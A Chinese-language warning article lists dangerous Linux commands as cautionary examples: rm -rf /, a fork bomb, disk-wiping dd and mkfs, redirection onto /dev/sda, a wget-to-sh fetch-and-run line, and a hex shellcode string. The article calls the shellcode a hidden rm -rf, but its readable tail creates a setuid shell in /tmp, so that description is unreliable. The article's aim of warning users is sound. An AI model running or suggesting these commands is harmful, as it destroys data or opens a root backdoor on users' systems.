danger_zone.jpg

Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

rm –rf

rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:


rm  删除linux下的文件

rm -r 递归删除文件夹,包括空文件夹

rm -f 强制无条件删除只读文件

rm -rf / : 强制无条件删除root目录下所有内容。

rm -rf * : 强制无条件删除当前目录下所有内容。

rm -rf . : 强制无条件删除当前文件夹和子文件夹

综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:

alias rm= 'rm -i'

这样,在你下次删除东西的时候,它会提醒你到底要删啥。

:( ){:|:&};:

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

手贱的同学可以尽管在虚拟机里试试:

 :( ){:|:&};:

任意命令 > /dev/sda

这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

mv 指定的文件夹 /dev/null

这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

# mv /home/user/* /dev/null

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

wget http://malicious_source -O- | sh

这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。

mkfs.ext3 /dev/sda

上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。

> 任意文件

这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:

> xt.conf

你系统配置文件里的内容可能就会因此被清理掉。

^foo^bar

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

buquan.png

dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

隐藏命令

下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。

* 参考来源:nw,FB小编dawner编译